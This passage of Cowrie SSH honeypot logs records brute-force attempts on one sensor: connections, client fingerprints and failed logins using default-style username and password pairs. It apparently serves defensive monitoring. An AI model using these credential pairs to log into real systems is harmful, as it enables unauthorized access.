es128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:40.944606Z","src_ip":"213.209.159.158","session":"0fe63a09a2cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"voxility","password":"voxility","message":"login attempt [voxility/voxility] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:50.786580Z","src_ip":"213.209.159.158","session":"0fe63a09a2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:54.204968Z","src_ip":"213.209.159.158","session":"0fe63a09a2cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48954,"dst_ip":"159.203.135.109","dst_port":22,"session":"38194ea22289","protocol":"ssh","message":"New connection: 213.209.159.158:48954 (159.203.135.109:22) [session: 38194ea22289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:54.283313Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":37244,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b01109fb888","protocol":"ssh","message":"New connection: 103.52.152.101:37244 (159.203.135.109:22) [session: 8b01109fb888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:55.508431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:55.512669Z","src_ip":"103.52.152.101","session":"8b01109fb888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:55.721532Z","src_ip":"103.52.152.101","session":"8b01109fb888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":32890,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e874fa3b8f","protocol":"ssh","message":"New connection: 201.245.201.162:32890 (159.203.135.109:22) [session: b5e874fa3b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:55.785258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:55.794222Z","src_ip":"201.245.201.162","session":"b5e874fa3b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:55.892346Z","src_ip":"201.245.201.162","session":"b5e874fa3b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"wordpress","message":"login attempt [wordpress/wordpress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:56.315254Z","src_ip":"201.245.201.162","session":"b5e874fa3b8f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:56.347229Z","src_ip":"213.209.159.158","session":"38194ea22289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:56.350728Z","src_ip":"213.209.159.158","session":"38194ea22289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dhiraj","password":"12345678","message":"login attempt [dhiraj/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:56.587671Z","src_ip":"103.52.152.101","session":"8b01109fb888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:57.415839Z","src_ip":"201.245.201.162","session":"b5e874fa3b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:41:57.797938Z","src_ip":"103.52.152.101","session":"8b01109fb888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:06.539254Z","src_ip":"213.209.159.158","session":"38194ea22289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:09.774557Z","src_ip":"213.209.159.158","session":"38194ea22289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37526,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab57d8695a15","protocol":"ssh","message":"New connection: 213.209.159.158:37526 (159.203.135.109:22) [session: ab57d8695a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:09.853961Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44374,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eaad26e78cd","protocol":"ssh","message":"New connection: 60.199.224.2:44374 (159.203.135.109:22) [session: 7eaad26e78cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:10.105053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:10.110132Z","src_ip":"60.199.224.2","session":"7eaad26e78cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:10.318138Z","src_ip":"60.199.224.2","session":"7eaad26e78cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cassandra","password":"cassandrapass","message":"login attempt [cassandra/cassandrapass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:11.182410Z","src_ip":"60.199.224.2","session":"7eaad26e78cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:12.392577Z","src_ip":"60.199.224.2","session":"7eaad26e78cd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:12.531626Z","src_ip":"213.209.159.158","session":"ab57d8695a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:12.535211Z","src_ip":"213.209.159.158","session":"ab57d8695a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"baikal","password":"baikal","message":"login attempt [baikal/baikal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:22.131963Z","src_ip":"213.209.159.158","session":"ab57d8695a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:25.865127Z","src_ip":"213.209.159.158","session":"ab57d8695a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4120,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e1c3cdf20d4","protocol":"ssh","message":"New connection: 213.209.159.158:4120 (159.203.135.109:22) [session: 5e1c3cdf20d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:25.984456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:28.229284Z","src_ip":"213.209.159.158","session":"5e1c3cdf20d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:28.232975Z","src_ip":"213.209.159.158","session":"5e1c3cdf20d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":57864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae554442848a","protocol":"ssh","message":"New connection: 185.196.10.253:57864 (159.203.135.109:22) [session: ae554442848a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:30.821554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:30.825519Z","src_ip":"185.196.10.253","session":"ae554442848a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:30.936115Z","src_ip":"185.196.10.253","session":"ae554442848a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"wordpress","message":"login attempt [wordpress/wordpress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:31.406883Z","src_ip":"185.196.10.253","session":"ae554442848a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:32.519855Z","src_ip":"185.196.10.253","session":"ae554442848a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":49584,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d53c17f7a2","protocol":"ssh","message":"New connection: 20.26.135.100:49584 (159.203.135.109:22) [session: 13d53c17f7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:33.170452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:33.173646Z","src_ip":"20.26.135.100","session":"13d53c17f7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:33.264459Z","src_ip":"20.26.135.100","session":"13d53c17f7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wade","password":"wade123","message":"login attempt [wade/wade123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:33.644568Z","src_ip":"20.26.135.100","session":"13d53c17f7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:34.744650Z","src_ip":"20.26.135.100","session":"13d53c17f7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"c2","password":"111111","message":"login attempt [c2/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:37.934576Z","src_ip":"213.209.159.158","session":"5e1c3cdf20d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:41.590737Z","src_ip":"213.209.159.158","session":"5e1c3cdf20d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2908,"dst_ip":"159.203.135.109","dst_port":22,"session":"6df07d3cc8c5","protocol":"ssh","message":"New connection: 213.209.159.158:2908 (159.203.135.109:22) [session: 6df07d3cc8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:41.669713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:42:43.807030Z","src_ip":"213.209.159.158","session":"6df07d3cc8c5","protocol":"ssh"}
